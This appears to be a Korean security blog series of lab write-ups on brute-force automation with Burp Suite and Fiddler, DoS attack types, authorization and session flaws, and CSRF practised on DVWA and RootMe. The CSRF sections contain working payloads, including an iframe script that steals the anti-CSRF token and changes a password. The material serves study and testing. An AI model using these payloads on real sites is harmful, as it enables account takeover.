기준

취약점 설명

로그인 페이지에서 ID와 PW 탈취 시에 자동화 공격으로 사용자 계정 탈취를 주목적으로 하고 있습니다.

 

하지만 위의 기준에서 말하고 있는 바는 로그인 페이지를 대상으로 계정 탈취를 주로 하는 공격도 있지만 DoS(Denial of Service) 포함하여 표기해 놓고 있습니다.

 

DoS(Denial of Service)는 서버스의 자원을 고갈시키거나 서비스 이용을 저해하는 행동을 통해 가용성을 저해하는 공격을 말합니다.

 

게시판에 대량의 글 등록을 하거나 로그인 제한이 설정되어 있는 경우 무작위 접근을 통해 사용자 아이디를 전부 정지시키는 방식으로 공격하는 방법을 말합니다.

 

자동화 공격을 통해 사용자의 계정을 대량 탈취하거나 서버의 자원을 고갈시켜 서비스의 가용성을 저해할 수 있습니다.

 

공격 방법

(DoS / DDoS 공격 방법은 자세히 다루지 않겠습니다.)

1. 자동화 공격

1) burpsuite

(Proxy 설정 방법에 관한 부분은 제외하도록 하겠습니다.)

위의 사지은 Burpsuite의 파라미터 값 변조 상황입니다.

이렇게 Intruder로 보내기를 합니다.

그럼 Intruder에 이렇게 뜨는 것을 확인할 수 있습니다.

오른쪽에 있는 Add, Clear, Auto, Refresh를 통해 자동화 공격을 진행하고 싶은 필드를 선택하여 진행하게 됩니다.

대부분 Add와 Clear를 가장 많이 사용하는데 Clear를 통해 처음에 원하지 않는 부분에 등록된 공격 범위를 모두 취소해준 수 Add로 드래그한 부분을 자동화 공격 범위에 포함시켜 공격하는 방식입니다.

Payloads에서 Payload type을 brute forcer로 설정하여 공격을 시작하면 공격이 시작됩니다.

공격할 문자열의 길이와 공격할 문자에 대입할 문자 목록을 위의 Payload Options를 통해 설정할 수 있습니다.

이후 위의 Start attack을 눌러서 공격을 시작할 수 있습니다.

시작하면 위의 사진과 같은 창이 뜨는데 Length값이 다른 Paylaod를 확인해서 공격하려는 대상의 정보를 획득할 수 있습니다.

 

2) fiddler

http://yamagata.int21h.jp/tool/BurplikeInspector/

fiddler로 자동화 공격을 진행하기 위해서는 위의 URL에 접근하여 Inspector를 다운로드하여 적용해주어야 합니다.

BurplikeInspector-ver0_02.zip (현재로써 최신)을 다운로드하여 C:\Users\[사용자ID]\Documents\Fiddler2\Scripts에 BurplikeInspector.dll를 옮겨준 후 fiddler를 재실행해주면 사용 가능합니다.

fiddler의 UI는 위의 사진과 같습니다.

왼쪽의 패킷 목록에서 공격이 필요한 패킷을 선택합니다.

그럼 Send to Intruder21을 눌러 자동화 공격을 준비할 수 있습니다.

사진과 같은 창이 뜨면 사용 방법은 Burpsuite와 별반 다르지 않습니다.

Clear로 지워주고 Add로 공격할 범위를 설정하면 자동화 공격을 진행할 수 있습니다.

Burpsuite와 다른 점은 좀 더 공격에 가까운 방법에 속하는 것입니다.

Payloads에 사용자가 원하는 공격 Pasload를 Load 해서 공격을 할 수도 있습니다.

Results 탭에서 공격을 시작하여 결과를 확인할 수 있습니다.

burpsuite와 마찬가지로 Length값이 달라지는 Payload을 확인하여 공격 대상의 원하는 정보를 획득할 수 있습니다.

 

자동화 공격 도구는 공격 대상에 따라 다양하게 존재합니다.

SQL을 대상으로 할 경우 SQLmap, WIFI를 대상으로 할 경우 AirCrack-ng, 비밀번호를 알아내야 할 경우 Hydra, 디렉터리 구조를 알아야 할 경우 Dirbuster, 이 외에도 Metasploit, John the Ripper 등등 각각의 용도에 따라 사용할 수 있는 자동화 툴은 많이 있습니다.

 

하지만 본인의 상황에 맞춰 사용할 수 있도록 직접 작성할 수 있는 방법을 배워둔다면 훨씬 더 효과적으로 공격할 수 있습니다.

 

하지만 대부분의 공격에서 사용될 툴들을 모두 들고 가거나 작성하여 사용할 수 없기 때문에 위의 burpsuite와 Fiddler가 일반적으로 가장 많이 사용되는 것으로 알고 있습니다.

 

2. DoS / DDoS

 

DoS (Denial-of-Service) 공격은 서비스를 제공하는 컴퓨터를 공격하여 서비스를 거부하게 만드는 공격 방식으로 단일 호스트가 수행하는 공격 유형입니다. DDoS (Distributed Denial-of-Service) 공격은 여러 호스트가 동시에 수행하는 DoS 공격입니다.

 

1) DoS (Denial-of-Service)

  • 파괴 공격 : 디스크, 데이터, 시스템 파괴
  • 시스템 자원 고갈 공격 : CPU, 메모리, 디스크의 과다한 사용으로 인한 부하 가중
  • 네트워크 자원 고갈 공격 : 쓰레이 데이터로 네트워크 대역폭의 고갈

공격으로 인해 위에 나열해놓은 것과 같은 부분들이 파괴되거나 고갈되어 서비스를 사용할 수 없게 되는 공격입니다.

 

과거에는 DoS 공격으로도 서비스에 영향을 줄 수 있었지만 현재에 PC의 성능이 좋아지면서 과거 단일 호스트로 진행하던 공격으로 인한 피해는 많이 줄어들었습니다.

 

다음은 공격 방식에 따른 분류입니다.

  • OS 또는 서버 프로그램, 네트워크 프로토콜 취약점 DoS : SYN Flooding, Ping of Death, HTTP Get Flooding 등
  • Route 경로 조작 DoS : Land attack, Ping of Death, Teardrop
  • 네트워크 대역폭 고갈 DoS : ICMP Router Discovery

이외에도 Smurf, UDP Diagnostic Port Denial service 등이 존재합니다.

또한 공격이 실행되는 각각의 레이어 별로 나눌 수도 있습니다.

 

L4 Layer : SYN, SYN-ACK, Reset Flooding, ACK Flooding, UDP Flooding

L3 Layer : Land, ARP, RARP Flooding, ICMP Flooding

L2 Layer : VLAN double-encapsulated, VLAN non-IP flood

L7 Layer : HTTP GET Flooding, DNS Lookup Flooding, cache control

 

DoS 공격은 위와 같이 많은 종류가 존재하고 있으며 앞으로도 더 발생할 수 있는 공격입니다. 

 

각각의 DoS 공격 중 몇 가지를 선택하여 간략하게 설명해보도록 하겠습니다. 

  • Ping of Death

공격자가 Ping을 이용하여 크기가 큰(65500Byte) ICMP 패킷을 피해자 PC로 전송하면 전송 과정 중 각각의 네트워크의 패킷의 최대 길이가 한정되어 있고 또한 전송 과정 중에 무수히 많은 조각으로 패킷이 분할되어 전송되게 됩니다.

이때 피해자 PC가 분할된 패킷을 전송받으면 이를 분할된 순서에 맞게 재조립 과정을 통해 데이터를 확인하게 됩니다. 하지만 전송받은 패킷을 재조립하지 못하여 발생되는 DoS 공격이 Ping of Death입니다.

 

과거에  Windows 95/98과 Redhat 6.0 이하에서 발생하던 취약점으로 초기 DoS 공격입니다.

 

hping3, wireshark를 활용하여 실습이 가능합니다.

 

  • SYN Flooding

사용자는 서버에 접근하기 위해 3-Way HandShake를 통해 데이터를 요청합니다.

여기에서 접근하는 방법을 우선 간단하게 설명하겠습니다.

순서는 1) SYN, 2) SYN+ACK, 3) ACK 순서로 진행됩니다.

 

1) SYN : 안녕하세요? 접근해도 괜찮을까요?

2) SYN + ACK : 접근해도 괜찮습니다. 언제 오세요?

3) ACK : 지금 가겠습니다.

 

위와 같이 생각하시면 과정은 대략적으로 이해 가실 거라 생각합니다.

 

여기에서 SYN Flooding가 발생하는 이유는 공격자가 1)을 한 상태로 서버가 2)를 통해 언제 오는지 기다리고 있을 때 답을 하지 않아 서버가 해당 사용자에 관한 리소스를 대기상태로 두어 발생하는 DoS 공격 방법입니다.

 

네트워크에서 시스템에 동시에 접근할 수 있는 사용자 수가 제한되어 있는데 이를 SYN을 통해 전부 채워버려 다른 사용자가 서비스를 이용할 수 없도록 만드는 방식입니다.

 

해당 공격은 hping3를 활용하여 실습이 가능합니다.

 

  • Bonk, Boink, Teardrop

세 가지 방법을 한 번에 하는 이유는 방식에 작은 차이들이 있지만 TCP가 오류제어를 통해 손실된 패킷을 다시 요청하는 문제를 이용한 DoS 공격이기 때문입니다.

 

공격 방법도 TCP 패킷의 번호를 조작하여 보내는 방식으로 각각의 차이는 있지만 비슷한 방식을 보여주고 있습니다.

 

Bonk : 전송하는 모든 패킷의 시퀀스 넘버를 1로 작성하여 전송

Boink : 정상적으로 패킷을 전송하는 중간에 하나의 시퀀스 넘버를 지속적으로 포함시켜 전송

Teardrop : 시퀀스 넘버를 조작하여 일정 부분이 겹치거나 빈상태로 전송

 

시퀀스 넘버를 예로 각각의 방법을 설명해보겠습니다.

번호 하나는 각 데이터의 시퀀스 넘버입니다.

 

Bonk : 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

Boink : 1,2,101,3,4,101,5,6,101,7,8,101,9,10,101

Teardrop : 1,2,3,2,3,4,7,8,9,15,16,17,16,17,18

 

해당 공격은 hping3를 활용하여 실습이 가능합니다.

 

  • Land

패킷 전송 시에 출발지 IP와 도착지 IP를 같게 전송하는 방식의 DoS 공격입니다.

위의 패킷을 받게 되면 SYN 요청 값이 밖으로 나가지 않고 피해자 PC에서 계속 돌게 됩니다. 이렇게 서버에 요청을 보내는 방식으로 서버는 서버 자신의 IP로 설정된 IP를 기다리게 되는 형식의 DoS입니다.

 

해당 공격은 hping3를 활용하여 실습이 가능합니다.

 

  • Smurf

패킷을 전송할"때 목적지 IP를 255.255.255.255로 전송하면 브로드케스트되어 같은 LAN에 있는 모든 호스트에 전송하도록 됩니다. 이때 ICMP 패킷의 목적지 IP는 255.255.255.255로 출발지 IP는 공격 대상의 IP로 설정하여 보내면 응답 패킷이 공격자가 아닌 공격 대상으로 대량으로 보내지게 됩니다.

이렇게 보낸 패킷이 꼭 Smurf 같다고 해서 지어진 이름의 공격 방식입니다.

 

해당 공격은 hping3를 활용하여 실습이 가능합니다.

 

----------------------------------------------------------------------------------------------------------------

 

이외에도 잘 알려진 방법인 폭탄 메일이나 HTTP 프로토콜을 이용한 공격이 있습니다.

 

2) DDoS (Distributed Denial-of-Service)

DDoS는 각각의 좀비 PC를 만들어 다수의 PC가 공격 대상을 한 번에 공격하는 방식으로 파급력이 큽니다.

위의 그림과 같은 구조로 공격자가 Master PC를 관리하고 Master는 Agent PC를 통해 공격자의 명령을 실행하는 방식으로 진행됩니다.

 

잘 알려진 공격 도구로는 Trinoo가 있고 악성 코드(Ransomware)를 통해 감염시켜 진행하는 방식도 있습니다.

기준

취약점 설명

비공개된 글이나 접근을 막아놓은 페이지, 권한이 없는 구역에 접근이 가능한 경우 발생하는 취약점입니다.

불충분한 인증과는 다르게 본인의 권한을 ID값이나 본인의 인증값을 변조하는 것이 아니어서 본인의 권한으로 비공개된 페이지를 접근하는 경우 발생합니다.

 

예를 들어 비공개된 Q&A가 있다고 가정해보겠습니다.

이런 경우 Q&A를 작성하기 위한 접근 시 파라미터 값을 변조하여 이미 작성된 글을 수정하도록 접근이 가능한 경우에 가깝습니다.

 

위의 예를 비교하여 불충분한 인증을 설명해 보겠습니다.

위와 같은 경우가 있을 경우 글에 접근하는 것이 아닌 ID의 인증값이나 사용자 번호를 조작하여 타 사용자 계정 혹은 관리자로 로그인하거나 인증을 우회하여 접근이 가능하다면 불충분한 인증에 해당합니다.

 

이해를 돕기 위해 불충분한 인증에서 올렸던 두 가지 취약점의 설명을 다시 올려보도록 하겠습니다.

불충분한 인증

위의 사진을 보면 인증정보를 변조하여 관리자 ID를 접근하는 공격자를 그림으로 나타내 보았습니다.

예를 들어 URL이 http://www.test.com/board/edit.jsp?id=test인 페이지가 있다고 가정하겠습니다.

이런 경우 위의 URL의 마지막 부분의 id를 admin으로 바꿔주었을 때 admin으로 접근 가능할 때 admin에 대한 인증이 없는 경우로 불충분한 인증으로 포함되는 것입니다.

 

즉, 로그인과 같이 인증이 필요한 부분에 인증이 없거나 부족한 경우 불충분한 인증이라고 판단합니다.

 

불충분한 인가

위의 사진은 권한이 없는 페이지에 접근하는 공격자를 표현한 그림입니다.

예를 들어 타 사용자 혹은 관리자가 작성한 글이나 공지사항이 존재한다고 가정하겠습니다.

작성된 글이 타 사용자를 위해 공개된 글이 아닌 경우 공격자가 인증 정보를 바꾸지 않은 상태로 접근 가능하면 불충분한 인가에 포함되는 것입니다.

 

즉, 공개되지 않거나 권한이 없을 때 별 다른 인증 정보 변경 없이 접근이 가능한 경우 불충분한 인가라고 판단합니다. 

 

공격 방법

(실습할 수 있는 페이지를 찾지 못해서 설명으로 대체하겠습니다.ㅠㅠ)

위와 같은 게시판이 있다고 가정하겠습니다.

 

아래의 글을 쓴 후 수정을 할 때 글의 번호가 뜨는 경우가 있습니다.

 

그럼 파라미터 값의 글 번호를 변경하여 인가되지 않은 다른 글을 수정 혹은 삭제할 수 있다면 불충분한 인가 취약점으로 판단합니다.

 

-----------------------------------------------------------------------------------------------------------------------------

 

이외에 가능한 방법이 많지만 실제 페이지를 상대로 공격 방법을 보여드릴 순 없어 위처럼 설명으로 대체하였습니다.

 

만약 실습할 수 있는 페이지를 방명록에 남겨주신다면 나중에 수정하여 포스팅하도록 하겠습니다.

(실습할 공간을 알고 계신 분은 꼭 알려주시길 부탁드려요ㅠㅠㅠㅠㅠ)

기준

세션 예측

세션 고정

불충분한 세션 만료

 

취약점 설명

세션 예측

세션의 구성이 단순하게 구성되거나 복호화가 가능한 암호화를 통해 예상 가능하게 구성되어 다른 사용자의 세션을 쉽게 유추할 수 있는 경우 발생하는 취약점입니다.

본인의 세션을 여러 번 생성하여 확인하는 것 만으로 타 사용자의 세션을 예측하여 도용할 수 있는 매우 위험한 취약점입니다.

 

불충분한 세션 만료

로그아웃 후 혹은 로그인 시의 세션 유지시간이 너무 긴 경우 세션을 필요 이상으로 유지하여 발생할 수 있는 취약점입니다.

타 사용자의 세션이 강탈당하거나 세션을 획득한 경우 세션을 도용하여 타 사용자 및 관리자의 권한을 탈취할 수 있는 매우 위험한 취약점입니다.

 

세션 고정

사용자 로그인 시에 생성되는 세션이 고정되어 발생되는 취약점입니다.

사용자 및 관리자의 세션을 탈취한 경우 고정된 세션으로 접근하여 공격자에 의해 권한이 도용될 수 있는 취약점으로 매우 위험한 취약점입니다.

 

-----------------------------------------------------------------------------------------------------------------------------------

 

각각의 취약점은 위험성이 큰 취약점입니다.

하지만 위의 세 취약점은 매우 유사한 부분이 많아 한번에 취합하여 포스팅하게 되었습니다.

 

세 가지 취약점은 세션의 보안 조치가 취약하게 설정되어 발생하는 취약점으로 서비스를 이용하는 사용자의 가용성 저해 및 개인정보 탈취, 타 사용자 ID 도용, 사용자 ID를 활용한 DoS 공격 등을 유발할 수 있는 취약점입니다.

 

공격 방법

(해당 취약점은 DVWA의 Weak Session IDs를 활용하여 실습해보도록 하겠습니다.)

1. Low Level

해당 페이지의 형태는 위와 같습니다.

우선 세션의 취약점을 확인할 방법으로 쿠키를 확인해보도록 하겠습니다.

개발자 도구 > 애플리케이션 > 쿠키를 들어가 보면 세션 값을 확인할 수 있습니다. 

dvwaSession 값이 4로 설정되어 있지만 페이지의 Generate를 눌러보겠습니다.

우선 PHPSESSID는 고정되어 있으며 dvwaSession 값은 1씩 증가하는 방식이랑 것을 알 수 있습니다.

고치려고 하는 값을 더블클릭해주면 수정할 수 있습니다.

 

2. Medium Level

Low Level과 달리 세션 값이 길어진 것을 알 수 있습니다.

Generate를 해보면 위처럼 바뀌는 것은 알 수 있습니다.

PHPSESSID는 고정되어 있지만 dvwasession은 다르게 바뀌는 것을 알 수 있습니다.

그럼 이제 좀 자세히 보기 위해 페이지 소스를 확인해보겠습니다.

세션을 확인해보면 시간을 쿠키값에 적용해 생성되는 것을 알 수 있습니다.

다시 Generate 하면서 확인해보면 앞의 '164810'은 고정된 값이고 뒤의 3자리는 시간에 의해 생성되는 것을 확인할 수 있습니다.

 

3. High Level

High Level에서 확인해보면 고정되어 있는 것처럼 확인되지만 실제고 적용은 되지 않는 것을 알 수 있습니다.

그래서 Request와 Response 패킷을 확인하여 Session값이 어떻게 적용되는지 확인해보겠습니다.

확인해보면 Response 패킷이 Generate 되는 것을 확인할 수 있습니다.

그럼 Session 값이 어떤 방식으로 바뀌는지 확인하기 위해 소스코드를 확인해보도록 하겠습니다.

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id_high'])) {
        $_SESSION['last_session_id_high'] = 0;
    }
    $_SESSION['last_session_id_high']++;
    $cookie_value = md5($_SESSION['last_session_id_high']);
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>

소스코드를 확인해보면 cookie_value = md5로 적용되는 것을 확인할 수 있습니다.

md5는 해쉬 함수로 rainbow table로 cracking이 가능합니다.

복호화해보면 md5가 적용되었을 뿐 전과같이 1씩 증가하는 형태로 Session값이 적용 중인 것을 확인할 수 있습니다.

기준

 

취약점 설명

CSRF(Cross-Site Request Forgery)는 사용자의 요청을 변조하여 의도하지 않은 정보를 열람하거나 요청과 다른 결과를 실행하도록 만드는 공격 방식입니다.

 

해당 취약점은 피싱 공격에 이용되기도 하며 사용자의 정보를 탈취/변조/삭제 등이 가능하여 매우 위험한 취약점입니다.

 

CSRF와 XSS는 같은 결의 취약점입니다. 하지만 XSS와 CSRF의 가장 큰 차이점은 대상을 달리하며 파급력이 다릅니다.

 

XSS의 경우 클라이언트에서 발생하여 서버에 정보를 요청하고 그 정보를 탈취하는 형식으로 피해자의 PC를 공격의 대상으로 삼아 진행되는 공격입니다. 하지만, CSRF는 피해자의 요청을 변조하여 공격자의 의도대로 피해자로 하여금 서버를 공격하고 불특정 다수에 의해 침해당할 수 있는 취약점입니다.

 

물론 CSRF도 피해자의 정보를 노리고 공격할 수 있지만 XSS는 피해자를 대상으로 직접적인 공격을 주로 하는 반면에 CSRF는 서버를 대상으로 피해자 PC를 이용해서 공격하는 점이 가장 다른 점입니다.

 

공격 방법

(해당취약점은 DVWA와 RootMe를 활용해서 실습해보았습니다.)

1. DVWA

1) Low Level

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

CSRF 실습 페이지는 비밀번호 변경을 할 수 있도록 형성되어 있습니다.

실제로 패스워드를 넣어보면 변경되는 것을 확인할 수 있습니다. 

 

소스코드를 확인해보면 New password와 Confirm New Password를 비교하는 것 말고는 보안 조치가 되어있는 것은 없습니다.

 

그럼 시도하기 위해 PW를 변경하여 동작 방식을 확인해본 후에 XSS(Stored) 페이지를 활용하여 시도해보도록 하겠습니다.

PW를 바꾸면 아래와 같은 패킷을 전송합니다.

Method는 GET을 사용하고 있으며 body가 없이 URL을 통해서 정보를 전달하는 것을 알 수 있습니다.

이러한 경우 URL만 자동으로 실행되게 했을 경우 가능하다고 생각하고 진행하겠습니다.

Composer를 통해 시도했을 때 정상적으로 200번을 Response 하는 것을 확인했습니다.

그럼 XSS(Stored)를 활용해 시도해보도록 하겠습니다.

(XSS에서 설명한 방법은 제외하고 진행하겠습니다.)

<img src="/dvwa/vulnerabilities/csrf/?password_new=rokefoke&password_conf=rokefoke&Change=Change" onerror=alert("CSRF")>

img 태그를 통해 이미지 URL을 자동으로 실행하도록 설정해주었습니다.

Sign Guestbook 누르면 정상적으로 스크립트가 실행되는 것을 확인할 수 있습니다.

그럼 XSS(Stored)를 방문할 경우 자동으로 패킷을 전송하고 PW가 바뀌는지 확인해보도록 하겠습니다.

우선 접근 패킷과 다른 패킷이 하나 더 발송되는 것을 확인할 수 있습니다.

또한 의도한 패킷이 전송되는 것을 확인할 수 있었습니다.

입력한 asd가 아닌 rokefoke로 PW가 변경된 것을 확인할 수 있었습니다.

 

2) Medium

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Low Level과의 차이점은 stripos를 활용해서 Referer와 Server Name을 확인하는 점입니다.

 

이런 경우 Low Level과 같이 시도할 경우 확인하는 부분이 충족되지 않아 PW 변경을 서버에서 거부하게 됩니다.

 

이런 경우 Referer와 Server Name을 고정해서 시도할 수 있는데 이번에는 피싱 공격 방법으로 URL을 보낸다고 생각하고 진행해보도록 하겠습니다.

위의 소스는 PW를 바꿔주는 페이지의 구성입니다.

저 소스에서 action은 #으로 현재 페이지를 반영하게 쓰여있는데 #을 의도하는 페이지 URL로 변경하면 공격이 가능할 것이라고 생각합니다.

<form action="http://192.168.75.128/dvwa/vulnerabilities/csrf/" method="GET">
			New password:<br />
			<input type="password" AUTOCOMPLETE="off" name="password_new" value="rokefoke"><br />
			Confirm new password:<br />
			<input type="password" AUTOCOMPLETE="off" name="password_conf" value="rokefoke"><br />
			<br />
			<input type="submit" value="Change" name="Change">

		</form>

소스를 위와 같이 작성하여 메일에 포함하여 보내거나 링크를 걸어 보내주는 형식으로 진행할 수 있습니다.

HTML 코드가 작성 가능한 메일일 경우 위의 소스를 그래도 넣어 전송하는 방식도 가능합니다.

위와 같은 페이지가 보이는 것을 확인할 수 있습니다.

작성된 PW가 있는 페이지를 통해 Change를 누르면 공격자가 원하는 PW로 바꿀 수 있습니다.

하지만 Change를 누르면 위와 같이 비밀번호가 바뀌지 않는 것을 알 수 있습니다.

패킷을 확인해보면 위처럼 Referer값이 없어서 변경되지 않는 것을 확인할 수 있습니다.

이런 경우에 서버 내부에 파일을 업로드하는 방식으로 시도해보겠습니다.

업로드 취약점을 활용해 서버에 파일을 업로드했습니다.

위 사진처럼 업로드시켜준 경로로 접근하면 업로드된 파일이 실행되는 것을 확인할 수 있습니다.

이제 Change버튼을 눌러 PW변경을 시도해보도록 하겠습니다.

그러면 정상적으로 비밀번호가 바뀌는 것을 확인할 수 있습니다.

위의 방법은 Change버튼을 눌러야 실행되는 형식으로 공격하지만 Low Level에서 사용했던 스크립트를 사용해서 진행하면 링크에 접속하면 바로 PW가 변경되는 방식으로 공격도 가능합니다.

 

<img src="http://192.168.75.128/dvwa/vulnerabilities/csrf/?password_new=rokefoke&password_conf=rokefoke&Change=Change" referrerpolicy="unsafe-url" onerror=alert("CSRF")>

 

위의 코드를 작성한 HTML 파일을 작성해서 업로드하면 업로드된 페이지 접근 시 바로 실행되게 할 수 있습니다.

 

3) High Level

<?php

$change = false;
$request_type = "html";
$return_message = "Request Failed";

if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {
    $data = json_decode(file_get_contents('php://input'), true);
    $request_type = "json";
    if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
        array_key_exists("password_new", $data) &&
        array_key_exists("password_conf", $data) &&
        array_key_exists("Change", $data)) {
        $token = $_SERVER['HTTP_USER_TOKEN'];
        $pass_new = $data["password_new"];
        $pass_conf = $data["password_conf"];
        $change = true;
    }
} else {
    if (array_key_exists("user_token", $_REQUEST) &&
        array_key_exists("password_new", $_REQUEST) &&
        array_key_exists("password_conf", $_REQUEST) &&
        array_key_exists("Change", $_REQUEST)) {
        $token = $_REQUEST["user_token"];
        $pass_new = $_REQUEST["password_new"];
        $pass_conf = $_REQUEST["password_conf"];
        $change = true;
    }
}

if ($change) {
    // Check Anti-CSRF token
    checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert );

        // Feedback for the user
        $return_message = "Password Changed.";
    }
    else {
        // Issue with passwords matching
        $return_message = "Passwords did not match.";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);

    if ($request_type == "json") {
        generateSessionToken();
        header ("Content-Type: application/json");
        print json_encode (array("Message" =>$return_message));
        exit;
    } else {
        echo "<pre>" . $return_message . "</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

형태는 전과 동일하지만 보안조치는 user_token을 확인하는 방식으로 확입됩니다.

페이지 소스를 확인해보면 토큰이 기록되어 있는 것을 확인할 수 있습니다.

이런 경우 위의 토큰을 Medium Level에서 작성한 스크립트에 user_token값을 추가하여 시도하는 방식으로 시도할 수도 있습니다.

하지만 Medium Level과 다른 방식으로 코드를 작성하여 시도해보겠습니다.

 

<html>
 <body>
  <p>ROKEFOKE CSRF HIGH LEVEL</p>
  <iframe id="myFrame" src="http://192.168.75.128/dvwa/vulnerabilities/csrf" style="visibility: hidden;" onload="maliciousPayload()"></iframe>
  <script>
   function maliciousPayload() {
    console.log("start");
    var iframe = document.getElementById("myFrame");
    var doc = iframe.contentDocument  || iframe.contentWindow.document;
    var token = doc.getElementsByName("user_token")[0].value;
const http = new XMLHttpRequest();
    const url = "http://192.168.75.128/dvwa/vulnerabilities/csrf/?password_new=rokefoke&password_conf=rokefoke&Change=Change&user_token="+token+"#";
    http.open("GET", url);
    http.send();
    console.log("password changed");
   }
  </script>
 </body>
</html>

해당 코드는 iframe을 활용하여 user_token값을 추출하여 포함시키고 PW를 변경 URL을 실행시키도록 작성된 코드입니다.

 

무차별 대입 공격(bruteforce)을 통해 user_token을 예측하여 공격하는 것은 공격자 입장에서 큰 위험을 부담하는 방식이기 때문에 피해자 소스에서 user_token을 추출하는 방식으로 안정성을 확보하는 방법을 선택했습니다.

File Upload 취약점을 활용해 작성된 HTML 코드를 업로드해줍니다.

File Upload를 활용해 실행하는 이유는 SOP(Same Origin Policy)로 인해 공격자 서버에서 코드를 실행하면 교차 출처 객체로 인식되어 실행이 거부되기 때문입니다.

 

[SOP(same-origin policy)는 어떤 출처에서 불러온 문서나 스크립트가 다른 출처에서 가져온 리소스와 상호작용하는 것을 제한하는 중요한 보안 방식입니다.]

 

그럼 아까와 같은 방식으로 다시 접근하여 확인해보도록 하겠습니다.

 

Upload 된 경로로 접근하면 위와 같이 실행되는 것을 확인할 수 있습니다.

그럼 전송된 패킷을 확인해보도록 하겠습니다.

접근하면 총 3번을 접근하는 것을 알 수 있는데 처음은 HTML 파일 접근이고 두 번째는 user_token을 획득하기 위한 csrf페이지 접근, 세 번째는 user_token 값을 포함한 비밀번호 변경입니다.

위에 사진에서 확인할 수 있는 것처럼 user_token을 포함하여 비밀번호를 변경하도록 패킷을 전송하는 것을 확인할 수 있습니다.

 

2. RootMe

문제를 들어가면 처음 페이지는 위와 같은 페이지가 나타납니다.

CSRF는 로그인보다는 요청 변조를 주로 하기 때문에 일단 Register 한 후 로그인을 합니다.

페이지를 확인해보면 위 사진처럼 구성되어있는데 admin이 Status를 체크했을 경우 열리는 것을 알 수 있습니다.

 

우선 시나리오를 생각해보자면 Contact를 통해 Mail을 보내고 자동으로 스크립트가 실행되도록 하여 Status를 체크하는 경로로 생각해보았습니다.

 

우선 간단한 방법으로 개발자 도구에서 Status를 Checked로 바꿔보았으나 되지 않았습니다.

 

<form action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data" id="rokefoke1">
<input type="text" name="username" value="rokefoke1">
<input type="checkbox" name="status" checked>
</form>
<script>javascript:document.getElementById("rokefoke1").submit();</script>

DVWA에서 쓰였던 HTML과 비슷합니다.

하지만 javascript로 submit을 호출하도록 하였고 그때 호출하는 id 값을 form의 id과 같게 설정하여 form에서 설정한 username과 checkbox의 status도 설정하도록 작성하였습니다.

(굉장히 고생했습니다.ㅠㅠ)

 

여기에서 가장 중요한 부분은 form의 id값을 설정해주고 javascript의 getElementById() 함수로 form의 객체를 호출하여 submit함수로 전송하는 부분입니다.

(이 부분이 가장 헛갈렸습니다.)

 

